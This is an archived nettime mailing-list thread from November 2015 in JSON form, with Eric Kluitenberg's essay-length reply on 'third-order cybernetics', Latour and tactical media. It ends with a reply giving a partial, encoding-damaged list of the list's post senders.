                        "content": "   Dear nettimers,\n\n   It feels a bit awkward to respond in this thread as the co-editor of\n   the anthology this text is going to be part of, where I think the text\n   is going to be a great contribution, a fascinating account of twenty\n   years of <nettime> from a first-hand perspective. However, I am deeply\n   intrigued by the remarks Brian made about a `third-order cybernetics'\n   and his call to start figuring this new order out (a 'third age of\n   net-critique' as he calls it). This is what I want to respond to here.\n\n   The anthology we are putting together is part of a larger project,\n   on-going under a mundane working title 'tactical media connections',\n   with the aim of connecting different generations of activists, artists,\n   theorists, discourses and practices between the classic era of tactical\n   media and current practices and conditions, with the hope of developing\n   a more informed perspective to move into the future. The project has\n   been introduced on the list so will not dwell on this further.\n\n   One of the things which is on my mind with this project is to raise the\n   question: \"What kind of interventions are required right now?\",\n   assuming that we are in the post-#occupy and post-prism era. For a\n   variety of reasons we have seen that the various `occupy'\n   quasi-movements (formations) have failed, unable to transform\n   themselves into somehow coherent and potent political forces (in part\n   because of their over-reliance on the play on affective registers),\n   with the possible exception of Spain as also indicated in the thread\n   started by Alex Foti (\"What if we were all right but all wrong?\"),\n   which runs interestingly parallel to this one. And the post-prism\n   condition need not really be explained - the confirmation of our worst\n   nightmares about the extent of the electronic surveillance apparatus\n   that dwarfs all sci-fi phantasies that may have preceded the Snowden\n   Files disclosures.\n\n   So, what does `intervention' mean in this context? Does it still make\n   sense to think and talk about this at all? How could intervention be\n   conceived of as somehow meaningful, viable, efficacious (able to\n   produce desired results)?\n\n   What strikes me, but comes as no real surprise, is the clear presence\n   of the recent work that science and political philosopher Bruno Latour\n   has been doing on what he calls \"Facing Gaia\", and what Brian refers to\n   as `Earth-system' (see: [1]http://www.bruno-latour.fr/node/487 ). This\n   comes as no surprise because Brian and I discussed this in private\n   conversations, and also because his recent work with the Compass group\n   in the Mid-West region (around Chicago) takes up the challenge of\n   thinking through the meaning of this notion of `general ecology' - see:\n   [2]http://midwestcompass.org/.\n\n   The crucial point here, in my view, is the boundedness of these global\n   transformations Brian is referencing by our existence on Earth, the\n   planet as a system of interdependent parts, and the finiteness of\n   resources available to and within this system. As Latour also observes\n   in one of his recent lectures, the prospect of the human species (or a\n   future Ark of Noah carrying the biological diversity of the planet)\n   embarking on an exodus into space to new `Earth-like' worlds has been\n   emphatically referred to the realm of fiction by calculations of the\n   amount of energy and resources required to ship even a tiny segment of\n   the Earth's current population to the nearest inhabitable worlds, which\n   makes the entire exercise an entirely laughable fiction. It equally\n   reduces the chance of us ever being visited by some remote superior\n   extraterrestrial civilisation (that can solve our problems) to zero. In\n   short: We are Earth-bound.\n\n   Philosopher and aesthetician Jean-Francois Lyotard once observed that\n   the avant-garde arts share with the techno-sciences and advanced\n   capitalism an `affinity with infinity': the infinite ability to see,\n   the infinite ability to know, and the infinite ability to realise /\n   make / produce. This dictum no longer holds true. We are coming up to\n   final limits, material and ecological. They are drawing ever closer and\n   given the rapid material developments in the so-called emerging\n   economies with exponential speed. The horizon is no longer that of the\n   infinity of the avant-gardes, techno-sciences, and advanced capitalism,\n   but instead the finiteness of the Earth's material and ecological\n   resources.\n\n   This imposes clear limits on the scope and extension of third-order\n   cybernetics and the new modes of global governance (or non-governance)\n   that accompany this new order. Latour develops his thinking along a\n   simple line: he considers these systems as being designed by someone,\n   some groups, some agencies, and that to attune them with boundedness\n   imposed by the Earth-system we need to re-design these systems. The\n   discipline of `design' (in a broad sense) then takes center stage in\n   the process of what he has described ever since his 2004 book 'Politics\n   of Nature' as `the progressive composition of the good common world'.\n   This book is interesting here because it was written in response to the\n   stagnation of green politics in Europe and elsewhere, so with the book\n   he also put the question on the table; what kind of intervention is\n   required now? -  in his case in response to a perceived crisis of green\n   politics.\n\n   `Design' for Latour is crucial because it introduces among other\n   things, an attention to detail. When dealing with largest possible\n   systems, and especially when facing the largest of them all, the\n   Earth-system (Facing Gaia), attention has to shift according to Latour\n   to the smallest possible details, and intervention has to emerge at the\n   microscopic level of re-design and subsequently scale up to the\n   macro-level in a process of collective experimentation.\n\n   Such a process can only begin with a clear and critical analysis of the\n   `design' of 'third-order cybernetics, and all this clearly exceeds the\n   frame of the tactical media book as such. It does however suggest a\n   clear call for at least one particular intervention in response to this\n   question that has been haunting me since at the very least the\n   beginning of this tactical media connections trajectory (but actually\n   much longer), what kind of interventions are required now?\n\n   Whatever you call it, a `third age of net-critique', a critical\n   examination of the design of third-order cybernetics, figuring out the\n   post-anarcho-llbertarian condition, this is certainly an important and\n   challenging suggestion to take up.\n\n   The next steps then already clearly indicate themselves: How can one\n   imagine such processes of re-design, at what levels, through which\n   practices? What are the roles that activists, artists, theorists can\n   assume there? And how can these things be put into practice? (politics)\n\n   Amidst the gloom we can see hopeful beginnings, the theories and\n   practices of the commons that rely on scalable and self-sustaining\n   community based systems of exchange, co-operation and governance. The\n   transference of principles of free software to open content and free\n   culture production, the experiments with distributed currency and\n   transaction systems - but none of them and also not combined are enough\n   to produce a viable counter-veilling force to what Brian has so nicely\n   described as third-order cybernetics.\n\n   One possibility is of course simply not to act, at least not initially,\n   and wait for these systems to collapse under the weight of their own\n   internal contradictions (the crash-scenario). I very much oppose this\n   view, the damage and the amount of suffering this would produce are\n   unimaginable and the whole point of critique and (attempts at)\n   re-design is to avoid exactly this scenario.\n\n   It is the failure of `global governance', in as far as such a thing\n   exists at all, that it is unable to address the ravages of this\n   impending new order and so we cannot resign ourselves to either only\n   re-design on the microlevel, nor to the design of self-sustaining\n   communities, let alone to inertia while waiting for the crash.\n\n   The critical analysis  / deconstruction of this impending order can be\n   a step one towards developing (`designing') new and efficacious forms\n   of intervention - that I see as a clear and potentially productive\n   suggestion.\n\n   ------\n\n   Then a final practical note: we are participating in some debates and\n   with a workshop with the tactical media connections project in the\n   upcoming edition of Transmediale (Feb. 3 - 7, 2016). We will also use\n   this opportunity of the festival as a gathering place to hold an\n   informal meeting during the festival, exact date and time still need to\n   be determined as soon as the overall festival schedule is fixed. Much\n   in the tradition of the nettime meet ups that are referenced in Ted's\n   and Felix's text. It would be great to see people there and debate\n   about these and other ideas.\n\n   We'll post details also here and on our blogs when we know place, date,\n   time, but as stated in the text such physical meet ups are extremely\n   important so we hope we can have a more direct exchange there.\n\n   bests,\n\n   eric\n\n   On 04 Nov 2015, at 04:53, Brian Holmes <bhcontinentaldrift {AT} gmail.com> wrote:\n\n   As noted last April Fools', there will be good reasons for fresh\n   conceptual collaborations in the future. The neoliberal order with its\n   bewildering anarcho-libertarian ideology is on the way out. We are\n   headed toward a new state-form based on third-order cybernetics, or\n   general ecology, in which finely grained data on global populations\n   will be used to repress those populations, but also to facilitate and\n   channel behaviors more adaptive to the overall earth system. As\n   resource use continues to grow, survival issues will increasingly make\n   earth-system dynamics into an ultimate reference point, directly\n   present and determinant for all experience, yet not susceptible of\n   direct control. This leads to fundamental epistemological shifts, with\n   many cascading effects on human-machine combinations (we cyborgs, I\n   mean).\n\n   (...)\n\n   However, I think that key aspects of the coming round of global\n   development will be orchestrated by the new\n   inter-state/inter-imperialist order, in order to coordinate\n   production/consumption and provide earth-system level services for all\n   included populations. Who will do this? A consortium of countries\n   including China. Whether the US or the EU will be part of it, I don't\n   know. In short, the 21st century is not likely to be your grandpa's\n   political economy!\n\n   I don't expect any recognizable pattern to become visible for a decade\n   or more; but it is likely that that the decisive breakthroughs of the\n   future are actually being invented right now, without us knowing it.\n   First-order cybernetics was analyzed, critiqued and subverted in the\n   Sixties and Seventies, and second-order forms were at the heart of our\n   concerns in the Nineties and the Noughties. Don't you think a Third Age\n   of net-critique is dawning? Who wants to have a go at that one?\n   curiously, Brian\n\n   ***\n\n   Cybernetics essays (\"Dark Crystals\" section):\n   https://brianholmes.wordpress.com/2009/01/19/book-materials\n   Two forks of Technopolitics:\n   http://www.thenextlayer.org/technopolitics_group\n   http://threecrises.org\n\n<...>\n\n#  distributed via <nettime>: no commercial use without permission\n#  <nettime>  is a moderated mailing list for net criticism,\n#  collaborative text filtering and cultural politics of the nets\n#  more info: http://mx.kein.org/mailman/listinfo/nettime-l\n#  archive: http://www.nettime.org contact: nettime {AT} kein.org\n\n",
                        "id": "00015",
                        "date": "Wed, 4 Nov 2015 16:20:35 +0100",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "b3248dbefed1012638ad082622748bc7 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00015.html",
                        "content-type": "text/plai",
                        "author_name": "Eric Kluitenberg",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "\"t byfield\" <tbyfield {AT} panix.com>",
                        "content": "\n\n",
                        "id": "00016",
                        "date": "Wed, 04 Nov 2015 12:19:22 -0500",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "c221a9c1e90cd6281fc10768a5f3745a {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00016.html",
                        "content-type": "text/plai",
                        "author_name": "t byfield",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "John Hopkins <jhopkins {AT} neoscenes.net>",
                        "content": "\n\n",
                        "id": "00021",
                        "date": "Thu, 5 Nov 2015 20:44:42 -0700",
                        "to": "nettime-l {AT} kein.org",
                        "message-id": "cfd974777058d42de0827c8366360027 {AT} NO&#45;ID&#45;FOUND.mhonarc.or",
                        "url": "https://nettime.org/Lists-Archives/nettime-l-1511/msg00021.html",
                        "content-type": "text/plai",
                        "author_name": "John Hopkins",
                        "subject": "Re: <nettime> choose-your-own adventure: a brief history of nettim"
                    },
                    {
                        "from": "Jaromil <jaromil {AT} dyne.org>",
                        "content": "On Thu, 05 Nov 2015, John Hopkins wrote:\n\n> I'm wondering if there are any deeper stats available -- in\n> retrospect -- such as subscriber numbers over time; posts over time,\n> etc... My email archive shows 22600 entries ... but I had a few gaps\n> of some months over the course of the almost 20 years...\n\nI could easily produce some stats (using Jaro Mail, ehehe) but my\ncurrent archive goes back only to 31 March 2011 without scavenging in\nbackups. Here below a quick graph made using the last 3893 messages, I\nbelieve I'm breaking no privacy in reposting all strings that have\nalready appeared in the From: fields\n\nI think Patrice deserves a mention as most prolific contributor by far\nI wonder what are the all time totals, I believe he can make it.\n\n\n 1\t# > ! \n 1\t# ! \n 1\t# 0 \n 1\t# 010 \n 1\t# 12 list \n 1\t# 1wswlh+5d4cycrrfldx4 \n 1\t# 646 DJ KUNAL \n 1\t# A \n 1\t# aakasa \n 1\t# Aaron.Smith \n 1\t# abdulaziz.mohammed \n 1\t# abner preis \n 1\t# actor \n 1\t# adam \n 1\t# adam hyde \n 1\t# Adelino Zanini \n 1\t# Adhari Donora \n 1\t# admin \n 1\t# ADRI \n 1\t# afuma \n 1\t# agostino.petrillo \n 1\t# Aicha Visser \n 1\t# aindriu macfehin \n 1\t# air-l \n 1\t# A.J. Keen \n 1\t# Alann de Vuyst \n 1\t# albert \n 1\t# Alberto Cossu \n 1\t# Alberto D'Ottavi \n 1\t# Alberto Martinelli \n 1\t# Albino Russo \n 1\t# alblicker \n 1\t# aldje \n 1\t# Aldje van Meer \n 1\t# aldo bassoni \n 1\t# Aleks \n 1\t# alessandra \n 1\t# alessandro.caliandro \n 1\t# Alessandro Gandini \n 1\t# Alessandro Ludovico \n 1\t# alex \n 1\t# ALexander Geijzendorffer \n 1\t# Alexander Kostenko \n 1\t# Alexandra Sobiech \n 1\t# alexandre.aragao \n 1\t# Alexandre Leray \n 1\t# Alex Halavais \n 1\t# Alex Leach \n 1\t# Allister Clisham \n 1\t# Al Matthews \n 1\t# almud \n 1\t# Amin Zayani \n 1\t# ana \n 1\t# anahi \n 1\t# Ana Isabel Carvalho \n 1\t# Ana Peraica \n 1\t# Ana Viseu \n 1\t# Anders Kj\u00c3rulff \n 1\t# Andrea Mayr \n 1\t# Andrea Sesta \n 1\t# Andreas Jacobs \n 1\t# andre castro \n 1\t# Andrian Georgiev \n 1\t# andries \n 1\t# angela.mcrobbie \n 1\t# Angela Plohman \n 1\t# Angelica Della Torre \n 1\t# angelica.kaminsky \n 1\t# Anke Asselman \n 1\t# Anko Bos \n 1\t# Anna Borcherding \n 1\t# anna.hennebole \n 1\t# annakovesdi \n 1\t# Anne Julie Arnfred \n 1\t# Anne Marie Hazenberg \n 1\t# Annemarie Staaks \n 1\t# Annemieke vander Hoek \n 1\t# annemie van der zanden \n 1\t# annemtly \n 1\t# Annette Wolfsberger | Sonic... \n 1\t# anouk \n 1\t# antoinettejcitizen \n 1\t# Antonio \n 1\t# Antonio A. Casilli \n 1\t# anton vidokle \n 1\t# Antti J\u00c3inen \n 1\t# app-art-award \n 1\t# Appy \n 1\t# Aram Bartholl \n 1\t# archive \n 1\t# argha mahendra \n 1\t# arjan \n 1\t# arjen \n 1\t# Arjen van Veelen \n 1\t# armbrusterik \n 1\t# ARNOVA-L \n 1\t# Art - Eastern Bloc \n 1\t# Artpool Art Research Center \n 1\t# Arun Kumar \n 1\t# ashkan.soltani \n 1\t# asterides \n 1\t# atrowbri \n 1\t# Audrey Brisack \n 1\t# audrey samson \n 1\t# avlmeuad \n 1\t# awards \n 1\t# Bas de Lange \n 1\t# Bas van Heur \n 1\t# bbrewer \n 1\t# bcomnes \n 1\t# beata szechy \n 1\t# beliz.escapist \n 1\t# beltrandmarco \n 1\t# Ben Birkinbine \n 1\t# Benedict Seymour \n 1\t# Ben Jack \n 1\t# bernhard bauch \n 1\t# Bernhard Garnicnig \n 1\t# Bernhard Rieder \n 1\t# bert \n 1\t# betaalbewijzen \n 1\t# Bezdomny Dotcom \n 1\t# bheilbrunn \n 1\t# biella \n 1\t# billbacon \n 1\t# Bill Stewart \n 1\t# Birchall \n 1\t# birgi \n 1\t# Bishop Z \n 1\t# Bishop Zareh \n 1\t# Bitsy Knox \n 1\t# bk \n 1\t# black \n 1\t# _blank \n 1\t# b.niessen \n 1\t# bob_meininger \n 1\t# 'Boehm \n 1\t# bof-nieuws-request \n 1\t# Bojan Endrovski \n 1\t# Bonnie Dumanaw \n 1\t# Boyd Seltenrijch \n 1\t# Bradshaw \n 1\t# brenno \n 1\t# Brian Degger \n 1\t# brian.holmes \n 1\t# brigitta isabella \n 1\t# broegger \n 1\t# bsteenweg \n 1\t# Burak Arikan \n 1\t# Burcu Baykurt \n 1\t# bureau \n 1\t# buzzwolves \n 1\t# CALLIGARO Victoria \n 1\t# capri gondola venezia \n 1\t# captain.asthma \n 1\t# cardboard boks \n 1\t# Carl Guderian \n 1\t# Carl McKinney \n 1\t# carlo von lynX \n 1\t# Carolien Ligtenberg \n 1\t# Carolin Gerlitz \n 1\t# carvalho.aisabel \n 1\t# caspar \n 1\t# castervermoortece \n 1\t# Cathy Brickwood \n 1\t# cbrickwood \n 1\t# cdycede \n 1\t# Celia Lury \n 1\t# center \n 1\t# C\u00c3sare Peeren \n 1\t# cest.elisa \n 1\t# cfp \n 1\t# cfp-admin \n 1\t# Charley Fiedeldij Dop \n 1\t# charlie derr \n 1\t# Charlie Derr \n 1\t# charline stoelzaed \n 1\t# chilon \n 1\t# chr \n 1\t# chris \n 1\t# chris christiaansz ungerer \n 1\t# Chris Csikszentmihalyi \n 1\t# Chris Leslie \n 1\t# chris sugrue \n 1\t# christabolier \n 1\t# Christian Fonnesbech \n 1\t# Christian Gagneraud \n 1\t# christian waber \n 1\t# christine \n 1\t# chris.tuppen \n 1\t# Chris van der Meulen \n 1\t# Cindy Iseli \n 1\t# ciperimbaud \n 1\t# ckerdranvat \n 1\t# Cl\u00c3udia Amorim \n 1\t# Claudia Pederson \n 1\t# claus \n 1\t# ClGn \n 1\t# clyons206 \n 1\t# Co-creations Teun den Dekker \n 1\t# cold \n 1\t# Colm O'Neill \n 1\t# commoning {AT} listen.jpberlin.de \n 1\t# connect \n 1\t# Consular Amsterdam \n 1\t# contactform \n 1\t# coty.ampt \n 1\t# create \n 1\t# cselkirk \n 1\t# Cultureel ContactPunt Neder... \n 1\t# cvecchio \n 1\t# cyphermkultra \n 1\t# daniel \n 1\t# Daniela Tagliaferro \n 1\t# Daniele Dalli \n 1\t# Daniel Gonzalez Gasull \n 1\t# Daniel Pietrosemoli \n 1\t# daniel rubinstein \n 1\t# Dan O'Huiginn \n 1\t# dapx \n 1\t# darkcrimson \n 1\t# darlaine heitinga \n 1\t# david \n 1\t# david d'heilly \n 1\t# davide.cassaro \n 1\t# David Griffiths \n 1\t# david.hansen.fo \n 1\t# David Herzog \n 1\t# david leonard \n 1\t# David Raison \n 1\t# dean \n 1\t# Debora TORTORA \n 1\t# Debra Solomon \n 1\t# defconoii \n 1\t# delosbueis \n 1\t# Denise Chotoo \n 1\t# deniz unal \n 1\t# Dennis de Bel \n 1\t# DE PLAYER/Peter Fengler \n 1\t# derek.eder+de \n 1\t# dettevanzeeland \n 1\t# dgerritsen \n 1\t# Diana Ford \n 1\t# diego.rinallo \n 1\t# dierck roosen \n 1\t# discussion \n 1\t# diva_65 \n 1\t# Dmytri Kleiner/ Friends . \n 1\t# Dmytri Kleiner/ Friends. \n 1\t# dna \n 1\t# doma \n 1\t# Domenico Quaranta \n 1\t# dominic.power \n 1\t# Donatella \n 1\t# donna \n 1\t# dougeasterly \n 1\t# Doug La Rocca \n 1\t# Douglass Carmichael \n 1\t# doung \n 1\t# dsi.ikl \n 1\t# dtr.vndrn \n 1\t# dusan \n 1\t# dutch.atheist \n 1\t# Dylan Hallegraeff \n 1\t# e \n 1\t# ebay \n 1\t# EBo \n 1\t# ebracadebra \n 1\t# echna \n 1\t# ed \n 1\t# Ed Clive \n 1\t# eddo stern \n 1\t# Eddo Stern \n 1\t# eddy.salfischberger \n 1\t# Eduardo Navas \n 1\t# edufactory \n 1\t# ed wullink \n 1\t# eero \n 1\t# Egid van Houtem \n 1\t# egregiusforthespammers \n 1\t# eightycolumn \n 1\t# eightycolumn-owner \n 1\t# eightycolumn-request \n 1\t# elc.ikl \n 1\t# elena \n 1\t# elena.caphe \n 1\t# Elena Gajate \n 1\t# Elger Jonker \n 1\t# Eline Jongsma \n 1\t# elisabethboersma \n 1\t# ellen \n 1\t# elodie.delaigle \n 1\t# e-mail \n 1\t# Emanuela Ciuffoli \n 1\t# Emile \n 1\t# emiliogaliacho \n 1\t# equisigriegazeta \n 1\t# eric \n 1\t# eric den hartigh \n 1\t# erich.berger \n 1\t# Eric Schrijver \n 1\t# Erika Biddle \n 1\t# Erik Overmeire \n 1\t# ernie \n 1\t# Erwin Verbruggen \n 1\t# ESF \n 1\t# esf-l-and-g \n 1\t# esther.ton \n 1\t# Etienne Grenier \n 1\t# Eugenia Laghezza \n 1\t# e.vanthart \n 1\t# Eve Dullaart \n 1\t# Evelyn Austin \n 1\t# Evelyn Grooten \n 1\t# evildaan \n 1\t# ewen \n 1\t# e.wise.be \n 1\t# fablab \n 1\t# fan \n 1\t# farchanfirmansyah \n 1\t# fcforum \n 1\t# fcforum_discussion \n 1\t# fcforum_info \n 1\t# fedde \n 1\t# feedback \n 1\t# Felix Bohatsch - And Yet It... \n 1\t# Femke Snelting \n 1\t# Fenwick Mckelvey \n 1\t# Ferdinando Fasce \n 1\t# fernandawonen \n 1\t# FF8E7F55-4419-4F24-B3EE-618... \n 1\t# Fil \n 1\t# Findeisen Andreas Leo \n 1\t# fiona.davies {AT} ozemail.com.au \n 1\t# firestarter \n 1\t# fish \n 1\t# Florian Kuhlmann \n 1\t# florian.weigl \n 1\t# fm99 \n 1\t# folkert \n 1\t# fons \n 1\t# [FP Publishing] \n 1\t# francesco monico \n 1\t# Fran Ilich \n 1\t# frank \n 1\t# frank.20.tigrero \n 1\t# fredd \n 1\t# Frederick [FN] Noronha * \u00c3.. \n 1\t# Frederick FN Noronha \n 1\t# Frederick FN Noronha ??????... \n 1\t# fred_machintruc \n 1\t# Freek van Polen \n 1\t# Frode Markhus \n 1\t# froysland \n 1\t# furtherfield \n 1\t# f vandenboom \n 1\t# fyoelk \n 1\t# g \n 1\t# G \n 1\t# g7e6re \n 1\t# Gabriella  Biella  Coleman \n 1\t# Gabriella Coleman \n 1\t# Gaby Jenks \n 1\t# Gaia Bernasconi \n 1\t# gamefonds mediafonds \n 1\t# Gando Antalcia \n 1\t# gareth.foote \n 1\t# Gary . Farnell \n 1\t# gazz \n 1\t# geert \n 1\t# Geerten Eijkelenboom \n 1\t# gele \n 1\t# general \n 1\t# george \n 1\t# gerardo richarte \n 1\t# Gerard Zaan \n 1\t# geyva71 \n 1\t# gijs \n 1\t# Gijsbert Koren \n 1\t# Gijsbregt Brouwer \n 1\t# Giulia Laura Ferrari \n 1\t# Glendon Jones \n 1\t# G Lucas \n 1\t# g.mckl91 \n 1\t# \u00c2 gonzo ! \n 1\t# GOTT \n 1\t# Gottfried Haider \n 1\t# Graham Meikle \n 1\t# grant \n 1\t# Greenhost Helpdesk \n 1\t# Greg \n 1\t# Greg Elmer \n 1\t# greg.fisher \n 1\t# groente \n 1\t# grrrt \n 1\t# grund \n 1\t# Guido Jelsma \n 1\t# G\u00c3n Bel\u00c3 1\t# h3xl3r \n 1\t# halina89 \n 1\t# Hamada Tadahisa \n 1\t# hamidppp \n 1\t# Hamilton \n 1\t# Hank Bull \n 1\t# hannah \n 1\t# Hans Abbink \n 1\t# Hans Bernhard \n 1\t# Hans Christian Voigt \n 1\t# Hans de Zwart \n 1\t# Hans Lammerant (Vredesactie) \n 1\t# haqsara \n 1\t# Harco Rutgers \n 1\t# harlan levey \n 1\t# harma \n 1\t# Harwood \n 1\t# Hasan Bakhshi \n 1\t# havoc \n 1\t# hazmukali \n 1\t# Heather Dewey-Hagborg \n 1\t# Hedi Legerstee \n 1\t# Heiko \n 1\t# helen evans \n 1\t# Helge Peters \n 1\t# hellekin {AT} riseup.net \n 1\t# hello | florian kuhlmann \n 1\t# henmi \n 1\t# Henning-stout \n 1\t# hensen16 \n 1\t# hi \n 1\t# hiya me \n 1\t# honza \n 1\t# honzasvasek \n 1\t# Hoofd \n 1\t# hope \n 1\t# house \n 1\t# hpassarello \n 1\t# hsnlbestuurders \n 1\t# hubmeeting \n 1\t# huynenjl \n 1\t# h w \n 1\t# h.walgenbach \n 1\t# Iain Boal \n 1\t# ian helliwell \n 1\t# Ian Paul \n 1\t# Ibrahim Quraishi \n 1\t# icsauerlodder \n 1\t# idealnigrad \n 1\t# ie \n 1\t# ihoonte \n 1\t# ilich \n 1\t# image001.png \n 1\t# Image Science \n 1\t# Imaginary Museum projects T... \n 1\t# imaitland \n 1\t# imanolgo \n 1\t# incumbent \n 1\t# info-maasdelta \n 1\t# info ZEMOS98.org \n 1\t# inge \n 1\t# ingejanse \n 1\t# Internet Society Nederland \n 1\t# Intl Network \n 1\t# Irene Agrivine \n 1\t# irene.dm \n 1\t# irme \n 1\t# i.roos \n 1\t# isabella maria wohlwend \n 1\t# Isabelle Arvers \n 1\t# Ismael Touq \n 1\t# =?iso-8859-1?Q?'antonella.c... \n 1\t# ivan \n 1\t# Ivan Knapp \n 1\t# ivo \n 1\t# ivonne \n 1\t# ivo.vdmaagdenberg \n 1\t# Iwan Smit \n 1\t# izabelrainer \n 1\t# jaco \n 1\t# Jacopo Natoli \n 1\t# Jacqueline Oerlemans \n 1\t# Jakob Rigi \n 1\t# James Losey \n 1\t# jangeertmunneke \n 1\t# jan hendrik brueggemeier \n 1\t# Jan Kempf \n 1\t# Janna Michael \n 1\t# Janneke Staarink \n 1\t# JanPaul.de.Ridder \n 1\t# Jan Peter Larsen \n 1\t# jans \n 1\t# jantien \n 1\t# Jan Wildeboer \n 1\t# Jan Willem Nijman \n 1\t# Jarl Schulp \n 1\t# Jaroslaw Lipszyc \n 1\t# jasperniens \n 1\t# jaspersnauwaert90 \n 1\t# jedh \n 1\t# Jeffrey Cafferata \n 1\t# Jeffrey fisher \n 1\t# Jeffrey Warren \n 1\t# Jelke van der Sande \n 1\t# Jelle van der Molen \n 1\t# Jessian Choy \n 1\t# Jessica Tatlock \n 1\t# jessika \n 1\t# jhbdamen \n 1\t# jhopkins \n 1\t# jhuebner \n 1\t# jildou \n 1\t# Jim Ying \n 1\t# Jiskar Schmitz \n 1\t# jjmenting \n 1\t# jnm \n 1\t# jnmnsn \n 1\t# Joakim H\u00c3llstr\u00c3m \n 1\t# Jo Anne Green \n 1\t# jobtenbosch \n 1\t# JODI \n 1\t# Joe \n 1\t# JoelleDietrick \n 1\t# Joe Lockard \n 1\t# joerlemans \n 1\t# Johannes Auer \n 1\t# Johan S\u00c3derberg \n 1\t# JOHN GRANT \n 1\t# john.m.bowers \n 1\t# johnnynenuco \n 1\t# Jonatan S\u00c3derstr\u00c3m \n 1\t# jonathan \n 1\t# jonathan.smits \n 1\t# jonathan.winter \n 1\t# Jon Eirik Lundberg \n 1\t# joostharteveld \n 1\t# Joost Heijthuijsen \n 1\t# Jorge Rojas \n 1\t# Jorinde Seijdel \n 1\t# joris \n 1\t# Joris Bennink \n 1\t# Joris van Wijk \n 1\t# jorn \n 1\t# jortogar \n 1\t# jose \n 1\t# josef.glanz \n 1\t# Josephine Bosma \n 1\t# Joseph Nechvatal \n 1\t# Joshua Breitbart \n 1\t# Joshua Wise \n 1\t# Juana Romero \n 1\t# Juerd Waalboer \n 1\t# julian \n 1\t# Julie Boschat Thorez \n 1\t# Just Boon \n 1\t# Justin F \n 1\t# kaizen \n 1\t# kaliumhyperoxide \n 1\t# Kamiel Verschuren \n 1\t# Karla Brunet \n 1\t# kashirin.victor \n 1\t# kateclarkprojects \n 1\t# Kath O'Donnell \n 1\t# Kaustubh Srikanth \n 1\t# Keith J. Sanborn \n 1\t# Kelly O'Neill \n 1\t# ker \n 1\t# Kermit Snelson \n 1\t# kevin carter \n 1\t# Kicken.nicken \n 1\t# kimasendorf \n 1\t# kingvidbina \n 1\t# kirsty.a.hall \n 1\t# Kitty Calis \n 1\t# Klaartje Bult - SICA \n 1\t# klaus \n 1\t# klitsiou \n 1\t# knowledgelab \n 1\t# kontakt |\u00c2florian kuhlmann \n 1\t# Korinna Patelis \n 1\t# koroshiya1 \n 1\t# Kris Cohen \n 1\t# kristina \n 1\t# kristine \n 1\t# Kristine Ploug \n 1\t# Kunal / Loud Objects \n 1\t# Kyle Machulis \n 1\t# labofii \n 1\t# Lanfranco Aceti \n 1\t# Larissa Hildebrandt \n 1\t# Lars Ove Toft \n 1\t# laslo \n 1\t# LAURA LOTTI \n 1\t# lauramarialappi \n 1\t# Laurent Giacobino \n 1\t# Lawton Hall \n 1\t# lazas88 \n 1\t# Lee \n 1\t# Lee Worden \n 1\t# lennaart \n 1\t# Lennaart van Oldenborgh \n 1\t# leon \n 1\t# leon.morrison \n 1\t# lepelsnijdery \n 1\t# Le Sophie \n 1\t# lex \n 1\t# l.f.b.gommans \n 1\t# l frijhoff \n 1\t# lgiacobino \n 1\t# lgru \n 1\t# lgru-bounces \n 1\t# lgru-owner \n 1\t# lgru-request \n 1\t# libre-graphics-meeting \n 1\t# Lieven Van Speybroeck \n 1\t# Lilia Gomez Flores \n 1\t# lilil \n 1\t# Lincoln Cushing \n 1\t# lincoln dahlberg \n 1\t# line \n 1\t# Line Nord // USF Verftet \n 1\t# lisek \n 1\t# Liselore Goedhart \n 1\t# list \n 1\t# listeke-request \n 1\t# listentomerijn \n 1\t# list|marianne \n 1\t# liuyan datong \n 1\t# Liz Moor \n 1\t# loathsome toad \n 1\t# local \n 1\t# londonbranchfeedback \n 1\t# lorenzormgnl \n 1\t# Lori Emerson \n 1\t# LoVid LoVid \n 1\t# lovric \n 1\t# lschwartz6 \n 1\t# Luca Barbeni \n 1\t# Luciana Duranti \n 1\t# Luigi La Fauci \n 1\t# Luisa Leonini \n 1\t# lumena_atherton \n 1\t# Lunenfeld \n 1\t# Lurwah \n 1\t# luuk \n 1\t# m \n 1\t# M \n 1\t# Maartje Dijkstra \n 1\t# macamilenkovic72 \n 1\t# magda \n 1\t# maikel.punie \n 1\t# maiL.Lists \n 1\t# Mailservice UWV-WW Rijnmond \n 1\t# malo \n 1\t# Mandy van der Spoel \n 1\t# Marc De Vreede \n 1\t# Marcell Mars aka Nenad Romic \n 1\t# marc Lafia \n 1\t# Marco \n 1\t# Marco Berlinguer \n 1\t# marco.heijkoop \n 1\t# Marco Ricci \n 1\t# Marcos Garc\u00c3\u00c2a \n 1\t# marc.rijnveld \n 1\t# Marc Verstappen \n 1\t# margaret \n 1\t# margreetriphagen \n 1\t# Margreet Riphagen \n 1\t# MarianD8184A \n 1\t# marietje.schaake \n 1\t# marijnverbiesen \n 1\t# Marina Galperina \n 1\t# marissa.westerduin \n 1\t# marius schebella \n 1\t# marius watz \n 1\t# mark beerens \n 1\t# Mark Essen \n 1\t# martijnstellinga \n 1\t# martijn_van_der_veen \n 1\t# martin \n 1\t# Martin Zeilinger \n 1\t# mart van santen \n 1\t# marysghost \n 1\t# Masha u \n 1\t# Massimo Leone \n 1\t# Massimo Menichinelli \n 1\t# matsuko \n 1\t# Matthew Sweet \n 1\t# Matthew White \n 1\t# mattkemp25 \n 1\t# maurice \n 1\t# mauryv \n 1\t# maxime.damecour \n 1\t# Max Senden \n 1\t# media \n 1\t# meg1961 \n 1\t# Melentie Pandilovski \n 1\t# melissaslootweg \n 1\t# melledorange \n 1\t# menno grootveld \n 1\t# Menno van der Woude \n 1\t# merijn oudenampsen \n 1\t# mgallego \n 1\t# micha c\u00c3enas \n 1\t# Michael Eisenmenger \n 1\t# Michael Rogers \n 1\t# Michael van Schaik \n 1\t# micha prinsen \n 1\t# Michelle Christensen \n 1\t# Michiel Leenaars \n 1\t# Mick Fuzz \n 1\t# migosch \n 1\t# Miguel Afonso Caetano \n 1\t# Mikael Brockman \n 1\t# mike \n 1\t# Mikel Duyts \n 1\t# Mike Macgillivray \n 1\t# Mike Stubbs 